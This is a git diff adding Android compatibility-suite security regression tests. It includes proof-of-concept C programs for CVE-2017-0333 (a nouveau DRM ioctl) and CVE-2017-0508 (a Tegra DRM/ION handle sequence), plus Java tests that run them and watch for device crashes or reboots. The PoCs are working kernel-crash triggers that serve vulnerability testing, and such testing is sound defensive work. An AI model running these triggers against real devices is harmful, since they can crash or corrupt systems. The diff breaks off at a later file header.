+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/local_poc.h b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/local_poc.h
new file mode 100644
index 0000000..1622b39
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/local_poc.h
@@ -0,0 +1,269 @@
+#ifndef __LOCAL_POC_H__
+#define __LOCAL_POC_H__
+
+#define DRM_IOCTL_BASE 'd'
+#define DRM_IOW(nr, type) _IOW(DRM_IOCTL_BASE, nr, type)
+#define DRM_IOWR(nr, type) _IOWR(DRM_IOCTL_BASE, nr, type)
+
+#define DRM_COMMAND_BASE 0x40
+#define DRM_NOUVEAU_EVENT_NVIF 0x80000000
+
+/* reserved object handles when using deprecated object APIs - these
+ * are here so that libdrm can allow interoperability with the new
+ * object APIs
+ */
+#define NOUVEAU_ABI16_CLIENT 0xffffffff
+#define NOUVEAU_ABI16_DEVICE 0xdddddddd
+#define NOUVEAU_ABI16_CHAN(n) (0xcccc0000 | (n))
+
+#define NOUVEAU_GEM_DOMAIN_CPU (1 << 0)
+#define NOUVEAU_GEM_DOMAIN_VRAM (1 << 1)
+#define NOUVEAU_GEM_DOMAIN_GART (1 << 2)
+#define NOUVEAU_GEM_DOMAIN_MAPPABLE (1 << 3)
+#define NOUVEAU_GEM_DOMAIN_COHERENT (1 << 4)
+
+#define NOUVEAU_GEM_TILE_COMP 0x00030000 /* nv50-only */
+#define NOUVEAU_GEM_TILE_LAYOUT_MASK 0x0000ff00
+#define NOUVEAU_GEM_TILE_16BPP 0x00000001
+#define NOUVEAU_GEM_TILE_32BPP 0x00000002
+#define NOUVEAU_GEM_TILE_ZETA 0x00000004
+#define NOUVEAU_GEM_TILE_NONCONTIG 0x00000008
+
+struct drm_nouveau_gem_info {
+ uint32_t handle;
+ uint32_t domain;
+ uint64_t size;
+ uint64_t offset;
+ uint64_t map_handle;
+ uint32_t tile_mode;
+ uint32_t tile_flags;
+};
+
+struct drm_nouveau_gem_new {
+ struct drm_nouveau_gem_info info;
+ uint32_t channel_hint;
+ uint32_t align;
+};
+
+struct drm_nouveau_gem_set_tiling {
+ uint32_t handle;
+ uint32_t tile_mode;
+ uint32_t tile_flags;
+};
+
+#define NOUVEAU_GEM_MAX_BUFFERS 1024
+struct drm_nouveau_gem_pushbuf_bo_presumed {
+ uint32_t valid;
+ uint32_t domain;
+ uint64_t offset;
+};
+
+struct drm_nouveau_gem_pushbuf_bo {
+ uint64_t user_priv;
+ uint32_t handle;
+ uint32_t read_domains;
+ uint32_t write_domains;
+ uint32_t valid_domains;
+ struct drm_nouveau_gem_pushbuf_bo_presumed presumed;
+};
+
+#define NOUVEAU_GEM_RELOC_LOW (1 << 0)
+#define NOUVEAU_GEM_RELOC_HIGH (1 << 1)
+#define NOUVEAU_GEM_RELOC_OR (1 << 2)
+#define NOUVEAU_GEM_MAX_RELOCS 1024
+struct drm_nouveau_gem_pushbuf_reloc {
+ uint32_t reloc_bo_index;
+ uint32_t reloc_bo_offset;
+ uint32_t bo_index;
+ uint32_t flags;
+ uint32_t data;
+ uint32_t vor;
+ uint32_t tor;
+};
+
+#define NOUVEAU_GEM_MAX_PUSH 512
+struct drm_nouveau_gem_pushbuf_push {
+ uint32_t bo_index;
+ uint32_t pad;
+ uint64_t offset;
+ uint64_t length;
+};
+
+struct drm_nouveau_gem_pushbuf {
+ uint32_t channel;
+ uint32_t nr_buffers;
+ uint64_t buffers;
+ uint32_t nr_relocs;
+ uint32_t nr_push;
+ uint64_t relocs;
+ uint64_t push;
+ uint32_t suffix0;
+ uint32_t suffix1;
+ uint64_t vram_available;
+ uint64_t gart_available;
+};
+
+#define NOUVEAU_GEM_PUSHBUF_2_FENCE_WAIT 0x00000001
+#define NOUVEAU_GEM_PUSHBUF_2_FENCE_EMIT 0x00000002
+struct drm_nouveau_gem_pushbuf_2 {
+ uint32_t channel;
+ uint32_t flags;
+ uint32_t nr_push;
+ uint32_t nr_buffers;
+ int32_t fence; /* in/out, depends on flags */
+ uint32_t pad;
+ uint64_t push; /* in raw hw format */
+ uint64_t buffers; /* ptr to drm_nouveau_gem_pushbuf_bo */
+ uint64_t vram_available;
+ uint64_t gart_available;
+};
+
+#define NOUVEAU_GEM_CPU_PREP_NOWAIT 0x00000001
+#define NOUVEAU_GEM_CPU_PREP_WRITE 0x00000004
+struct drm_nouveau_gem_cpu_prep {
+ uint32_t handle;
+ uint32_t flags;
+};
+
+struct drm_nouveau_gem_cpu_fini {
+ uint32_t handle;
+};
+
+struct drm_nouveau_gem_as_alloc {
+ uint64_t pages; /* in, page length */
+ uint32_t page_size; /* in, byte page size */
+#define NOUVEAU_GEM_AS_SPARSE 0x1
+ uint32_t flags;
+ uint64_t align; /* in, requested alignment in bytes */
+ uint64_t address; /* in/out, non-zero for fixed address allocation */
+};
+
+struct drm_nouveau_gem_as_free {
+ uint64_t address; /* in, byte address */
+};
+
+#define NOUVEAU_GEM_CHANNEL_FIFO_ERROR_IDLE_TIMEOUT 8
+#define NOUVEAU_GEM_CHANNEL_GR_ERROR_SW_NOTIFY 13
+#define NOUVEAU_GEM_CHANNEL_FIFO_ERROR_MMU_ERR_FLT 31
+#define NOUVEAU_GEM_CHANNEL_PBDMA_ERROR 32
+struct drm_nouveau_gem_set_error_notifier {
+ uint32_t channel;
+ uint32_t buffer;
+ uint32_t offset; /* bytes, u32-aligned */
+};
+
+struct drm_nouveau_gem_map {
+ uint32_t handle;
+ uint32_t domain;
+ uint64_t offset;
+ uint64_t delta;
+ uint64_t length;
+ uint32_t tile_mode;
+ uint32_t tile_flags;
+};
+
+struct drm_nouveau_gem_unmap {
+ uint32_t handle;
+ uint32_t pad;
+ uint64_t offset;
+ uint64_t delta;
+ uint64_t length;
+};
+
+struct nvif_ioctl_v0 {
+ __u8 version;
+#define NVIF_IOCTL_V0_OWNER_NVIF 0x00
+#define NVIF_IOCTL_V0_OWNER_ANY 0xff
+ __u8 owner;
+#define NVIF_IOCTL_V0_NOP 0x00
+#define NVIF_IOCTL_V0_SCLASS 0x01
+#define NVIF_IOCTL_V0_NEW 0x02
+#define NVIF_IOCTL_V0_DEL 0x03
+#define NVIF_IOCTL_V0_MTHD 0x04
+#define NVIF_IOCTL_V0_RD 0x05
+#define NVIF_IOCTL_V0_WR 0x06
+#define NVIF_IOCTL_V0_MAP 0x07
+#define NVIF_IOCTL_V0_UNMAP 0x08
+#define NVIF_IOCTL_V0_NTFY_NEW 0x09
+#define NVIF_IOCTL_V0_NTFY_DEL 0x0a
+#define NVIF_IOCTL_V0_NTFY_GET 0x0b
+#define NVIF_IOCTL_V0_NTFY_PUT 0x0c
+ __u8 type;
+ __u8 path_nr;
+#define NVIF_IOCTL_V0_ROUTE_NVIF 0x00
+#define NVIF_IOCTL_V0_ROUTE_HIDDEN 0xff
+ __u8 pad04[3];
+ __u8 route;
+ __u64 token;
+ __u32 path[8]; /* in reverse */
+ __u8 data[]; /* ioctl data (below) */
+};
+
+#define DRM_NOUVEAU_GETPARAM 0x00 /* deprecated */
+#define DRM_NOUVEAU_SETPARAM 0x01 /* deprecated */
+#define DRM_NOUVEAU_CHANNEL_ALLOC 0x02 /* deprecated */
+#define DRM_NOUVEAU_CHANNEL_FREE 0x03 /* deprecated */
+#define DRM_NOUVEAU_GROBJ_ALLOC 0x04 /* deprecated */
+#define DRM_NOUVEAU_NOTIFIEROBJ_ALLOC 0x05 /* deprecated */
+#define DRM_NOUVEAU_GPUOBJ_FREE 0x06 /* deprecated */
+#define DRM_NOUVEAU_NVIF 0x07
+#define DRM_NOUVEAU_GEM_NEW 0x40
+#define DRM_NOUVEAU_GEM_PUSHBUF 0x41
+#define DRM_NOUVEAU_GEM_CPU_PREP 0x42
+#define DRM_NOUVEAU_GEM_CPU_FINI 0x43
+#define DRM_NOUVEAU_GEM_INFO 0x44
+/*
+ * range (0x50+DRM_COMMAND_BASE)..DRM_COMMAND_END is reserved for staging,
+ * unstable ioctls
+ */
+#define DRM_NOUVEAU_STAGING_IOCTL 0x50
+#define DRM_NOUVEAU_GEM_SET_TILING (DRM_NOUVEAU_STAGING_IOCTL + 0x0)
+#define DRM_NOUVEAU_GEM_PUSHBUF_2 (DRM_NOUVEAU_STAGING_IOCTL + 0x1)
+#define DRM_NOUVEAU_GEM_SET_INFO (DRM_NOUVEAU_STAGING_IOCTL + 0x2)
+#define DRM_NOUVEAU_GEM_AS_ALLOC (DRM_NOUVEAU_STAGING_IOCTL + 0x3)
+#define DRM_NOUVEAU_GEM_AS_FREE (DRM_NOUVEAU_STAGING_IOCTL + 0x4)
+#define DRM_NOUVEAU_GEM_SET_ERROR_NOTIFIER (DRM_NOUVEAU_STAGING_IOCTL + 0x5)
+#define DRM_NOUVEAU_GEM_MAP (DRM_NOUVEAU_STAGING_IOCTL + 0x6)
+#define DRM_NOUVEAU_GEM_UNMAP (DRM_NOUVEAU_STAGING_IOCTL + 0x7)
+
+#define DRM_IOCTL_NOUVEAU_GEM_NEW \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_NEW, struct drm_nouveau_gem_new)
+#define DRM_IOCTL_NOUVEAU_GEM_PUSHBUF \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_PUSHBUF, \
+ struct drm_nouveau_gem_pushbuf)
+#define DRM_IOCTL_NOUVEAU_GEM_CPU_PREP \
+ DRM_IOW(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_CPU_PREP, \
+ struct drm_nouveau_gem_cpu_prep)
+#define DRM_IOCTL_NOUVEAU_GEM_CPU_FINI \
+ DRM_IOW(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_CPU_FINI, \
+ struct drm_nouveau_gem_cpu_fini)
+#define DRM_IOCTL_NOUVEAU_GEM_INFO \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_INFO, struct drm_nouveau_gem_info)
+#define DRM_IOCTL_NOUVEAU_GEM_SET_TILING \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_SET_TILING, \
+ struct drm_nouveau_gem_set_tiling)
+#define DRM_IOCTL_NOUVEAU_GEM_PUSHBUF_2 \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_PUSHBUF_2, \
+ struct drm_nouveau_gem_pushbuf_2)
+#define DRM_IOCTL_NOUVEAU_GEM_SET_INFO \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_SET_INFO, \
+ struct drm_nouveau_gem_info)
+#define DRM_IOCTL_NOUVEAU_GEM_AS_ALLOC \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_AS_ALLOC, \
+ struct drm_nouveau_gem_as_alloc)
+#define DRM_IOCTL_NOUVEAU_GEM_AS_FREE \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_AS_FREE, \
+ struct drm_nouveau_gem_as_free)
+#define DRM_IOCTL_NOUVEAU_GEM_SET_ERROR_NOTIFIER \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_SET_ERROR_NOTIFIER, \
+ struct drm_nouveau_gem_set_error_notifier)
+#define DRM_IOCTL_NOUVEAU_GEM_MAP \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_MAP, struct drm_nouveau_gem_map)
+#define DRM_IOCTL_NOUVEAU_GEM_UNMAP \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_UNMAP, \
+ struct drm_nouveau_gem_unmap)
+
+#define DRM_IOCTL_NOUVEAU_NVIF \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_NVIF, struct nvif_ioctl_v0)
+
+#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/poc.c
new file mode 100644
index 0000000..d222a72
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/poc.c
@@ -0,0 +1,56 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <sched.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#include "local_poc.h"
+
+#define DEV "/dev/dri/renderD128"
+
+int dev_fd;
+
+enum nouveau_drm_object_route {
+ NVDRM_OBJECT_NVIF = 0,
+ NVDRM_OBJECT_USIF,
+ NVDRM_OBJECT_ABI16,
+};
+
+struct nvif_ioctl_v0 s_nvif;
+
+int main() {
+ int ret;
+
+ dev_fd = open(DEV, O_RDONLY);
+
+ if (dev_fd == -1) {
+ return 0;
+ }
+
+ s_nvif.type = 0x3;
+
+ ret = ioctl(dev_fd, DRM_IOCTL_NOUVEAU_NVIF, &s_nvif);
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.mk
new file mode 100644
index 0000000..194cd9f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0508
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/poc.c
new file mode 100644
index 0000000..5ed3e9b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/poc.c
@@ -0,0 +1,195 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dirent.h>
+#include <dlfcn.h>
+#include <fcntl.h>
+#include <linux/sched.h>
+#include <pthread.h>
+#include <sched.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/resource.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/time.h>
+#include <unistd.h>
+#include <unistd.h>
+
+#define DRM_TEGRA_GEM_CREATE 0x00
+#define DRM_TEGRA_GEM_MMAP 0x01
+#define DRM_TEGRA_SYNCPT_READ 0x02
+#define DRM_TEGRA_SYNCPT_INCR 0x03
+#define DRM_TEGRA_SYNCPT_WAIT 0x04
+#define DRM_TEGRA_OPEN_CHANNEL 0x05
+#define DRM_TEGRA_CLOSE_CHANNEL 0x06
+#define DRM_TEGRA_GET_SYNCPT 0x07
+#define DRM_TEGRA_SUBMIT 0x08
+#define DRM_TEGRA_GET_SYNCPT_BASE 0x09
+#define DRM_TEGRA_GEM_SET_TILING 0x0a
+#define DRM_TEGRA_GEM_GET_TILING 0x0b
+#define DRM_TEGRA_GEM_SET_FLAGS 0x0c
+#define DRM_TEGRA_GEM_GET_FLAGS 0x0d
+#define DRM_TEGRA_GET_CLK_RATE 0x0e
+#define DRM_TEGRA_SET_CLK_RATE 0x0f
+#define DRM_TEGRA_START_KEEPON 0x10
+#define DRM_TEGRA_STOP_KEEPON 0x11
+#define DRM_TEGRA_GET_CLK_CONSTRAINT 0x12
+#define DRM_TEGRA_SET_CLK_CONSTRAINT 0x13
+
+struct drm_tegra_gem_create {
+ __u64 size;
+ __u32 flags;
+ __u32 handle;
+};
+struct drm_tegra_open_channel {
+ __u32 client;
+ __u32 pad;
+ __u64 context;
+};
+struct drm_tegra_constraint {
+ /* channel context (from opening a channel) */
+ __u64 context;
+ /* index identifying the clock. One of HOST1X_CLOCK_INDEX_* */
+ __u32 index;
+ /* constraint type. One of HOST1X_USER_CONSTRAINT_TYPE_* */
+ __u32 type;
+ /* numeric value for type */
+ __u32 rate;
+ __u32 pad;
+};
+struct drm_prime_handle {
+ __u32 handle;
+
+ /** Flags.. only applicable for handle->fd */
+ __u32 flags;
+
+ /** Returned dmabuf file descriptor */
+ __s32 fd;
+};
+
+#define DRM_COMMAND_BASE 0x40
+#define DRM_COMMAND_END 0xA0
+#define DRM_IOCTL_BASE 'd'
+#define DRM_IO(nr) _IO(DRM_IOCTL_BASE, nr)
+#define DRM_IOR(nr, type) _IOR(DRM_IOCTL_BASE, nr, type)
+#define DRM_IOW(nr, type) _IOW(DRM_IOCTL_BASE, nr, type)
+#define DRM_IOWR(nr, type) _IOWR(DRM_IOCTL_BASE, nr, type)
+#define DRM_IOCTL_TEGRA_GEM_CREATE \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_GEM_CREATE, struct drm_tegra_gem_create)
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, \
+ struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_GET_CLK_CONSTRAINT \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_GET_CLK_CONSTRAINT, \
+ struct drm_tegra_constraint)
+#define DRM_IOCTL_PRIME_HANDLE_TO_FD DRM_IOWR(0x2d, struct drm_prime_handle)
+
+int g_fd = -1;
+int g_ion_fd = -1;
+enum host1x_class {
+ HOST1X_CLASS_HOST1X = 0x1,
+ HOST1X_CLASS_NVENC = 0x21,
+ HOST1X_CLASS_VI = 0x30,
+ HOST1X_CLASS_ISPA = 0x32,
+ HOST1X_CLASS_ISPB = 0x34,
+ HOST1X_CLASS_GR2D = 0x51,
+ HOST1X_CLASS_GR2D_SB = 0x52,
+ HOST1X_CLASS_VIC = 0x5D,
+ HOST1X_CLASS_GR3D = 0x60,
+ HOST1X_CLASS_NVJPG = 0xC0,
+ HOST1X_CLASS_NVDEC = 0xF0,
+};
+int classes[] = {HOST1X_CLASS_HOST1X, HOST1X_CLASS_NVENC, HOST1X_CLASS_VI,
+ HOST1X_CLASS_ISPA, HOST1X_CLASS_ISPB, HOST1X_CLASS_GR2D,
+ HOST1X_CLASS_GR2D_SB, HOST1X_CLASS_VIC, HOST1X_CLASS_GR3D,
+ HOST1X_CLASS_NVJPG, HOST1X_CLASS_NVDEC};
+#define ION_IOC_MAGIC 'I'
+#define ION_IOC_IMPORT _IOWR(ION_IOC_MAGIC, 5, struct ion_fd_data)
+#define ION_IOC_FREE _IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
+struct ion_fd_data {
+ int handle;
+ int fd;
+};
+struct ion_handle_data {
+ int handle;
+};
+
+int open_driver(void);
+void gem_create(void);
+void handle_to_fd(void);
+void ion_import(void);
+void ion_handle_free(void);
+
+int open_driver(void) {
+ const char* dev_path = "/dev/dri/renderD129";
+ g_fd = open(dev_path, O_RDONLY);
+ if (g_fd < 0) {
+ return g_fd;
+ }
+
+ dev_path = "/dev/ion";
+ g_ion_fd = open(dev_path, O_RDONLY);
+ if (g_ion_fd < 0) {
+ return g_ion_fd;
+ }
+ return 1;
+}
+
+char* g_buf = NULL;
+void* g_context = NULL;
+int g_gem_handle = -1;
+int g_dmabuf_fd = -1;
+int g_ion_handle = -1;
+
+void gem_create(void) {
+ struct drm_tegra_gem_create para = {0, 0, 0};
+ para.size = 1024;
+ ioctl(g_fd, DRM_IOCTL_TEGRA_GEM_CREATE, ¶);
+ g_gem_handle = para.handle;
+}
+void handle_to_fd(void) {
+ struct drm_prime_handle para = {0, 0, 0};
+ para.handle = g_gem_handle;
+ ioctl(g_fd, DRM_IOCTL_PRIME_HANDLE_TO_FD, ¶);
+ g_dmabuf_fd = para.fd;
+}
+void ion_import(void) {
+ struct ion_fd_data para = {0, 0};
+ para.fd = g_dmabuf_fd;
+ ioctl(g_ion_fd, ION_IOC_IMPORT, ¶);
+ g_ion_handle = para.handle;
+}
+void ion_handle_free(void) {
+ struct ion_handle_data para = {0};
+ para.handle = g_ion_handle;
+ ioctl(g_ion_fd, ION_IOC_FREE, ¶);
+}
+
+int main() {
+ if (open_driver() < 0) {
+ return -1;
+ }
+ gem_create();
+ handle_to_fd();
+ ion_import();
+ ion_handle_free();
+ close(g_fd);
+ close(g_dmabuf_fd);
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
new file mode 100644
index 0000000..690b277
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -0,0 +1,61 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+public class Poc17_03 extends SecurityTestCase {
+
+ /**
+ * b/31824853
+ */
+ @SecurityTest
+ public void testPocCVE_2016_8479() throws Exception {
+ if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
+ AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), 180);
+ // CTS begins the next test before device finishes rebooting,
+ // sleep to allow time for device to reboot.
+ Thread.sleep(30000);
+ }
+ }
+
+ /**
+ * b/33940449
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0508() throws Exception {
+ if (containsDriver(getDevice(), "/dev/ion") &&
+ containsDriver(getDevice(), "/dev/dri/renderD129")) {
+ AdbUtils.runPocNoOutput("CVE-2017-0508", getDevice(), 30);
+ // CTS begins the next test before device finishes rebooting,
+ // sleep to allow time for device to reboot.
+ Thread.sleep(60000);
+ }
+ }
+
+ /**
+ * b/33899363
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0333() throws Exception {
+ if (containsDriver(getDevice(), "/dev/dri/renderD128")) {
+ AdbUtils.runPocNoOutput("CVE-2017-0333", getDevice(), 30);
+ // Device takes up to 30 seconds to crash after ioctl call
+ Thread.sleep(30000);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
new file mode 100644
index 0000000..8f1771b
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
@@ -0,0 +1,41 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_11 extends SecurityTestCase {
+
+ /**
+ * b/36075131
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0859() throws Exception {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.pushResource("/cve_2017_0859.mp4", "/sdcard/cve_2017_0859.mp4", getDevice());
+ AdbUtils.runCommandLine("am start -a android.intent.action.VIEW " +
+ "-d file:///sdcard/cve_2017_0859.mp4" +
+ " -t audio/amr", getDevice());
+ // Wait for intent to be processed before checking logcat
+ Thread.sleep(5000);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
+ "[\\s\\n\\S]*>>> /system/bin/" +
+ "mediaserver <<<[\\s\\n\\S]*", logcat);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
index 3ad742f..ea4e403 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
@@ -18,7 +18,9 @@
import android.platform.test.annotations.SecurityTest;
import static org.junit.Assert.assertFalse;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
+import org.junit.runner.RunWith;
@SecurityTest
public class Poc19_03 extends SecurityTestCase {
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index aa26aa5..b6d647a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -20,6 +20,7 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.device.NativeDevice;
import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.log.LogUtil.CLog;
import java.util.regex.Pattern;
@@ -42,10 +43,28 @@
}
/**
- * Use {@link NativeDevice#enableAdbRoot()} internally.
+ * Allows a CTS test to pass if called after a planned reboot.
*/
- public void enableAdbRoot(ITestDevice mDevice) throws DeviceNotAvailableException {
- mDevice.enableAdbRoot();
+ public void updateKernelStartTime() throws Exception {
+ String cmdOut = getDevice().executeShellCommand("dumpsys meminfo");
+ long uptime = Long.parseLong(cmdOut.substring(cmdOut.indexOf("Uptime: ") + 8,
+ cmdOut.indexOf("Realtime: ") - 1))/1000;
+ kernelStartTime = System.currentTimeMillis()/1000 - uptime;
+ }
+
+ /**
+ * Use {@link NativeDevice#enableAdbRoot()} internally.
+ *
+ * The test methods calling this function should run even if enableAdbRoot fails, which is why
+ * the return value is ignored. However, we may want to act on that data point in the future.
+ */
+ public boolean enableAdbRoot(ITestDevice mDevice) throws DeviceNotAvailableException {
+ if(mDevice.enableAdbRoot()) {
+ return true;
+ } else {
+ CLog.w("\"enable-root\" set to false! Root is required to check if device is vulnerable.");
+ return false;
+ }
}
/**
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
index 3a50232..e9589eb 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
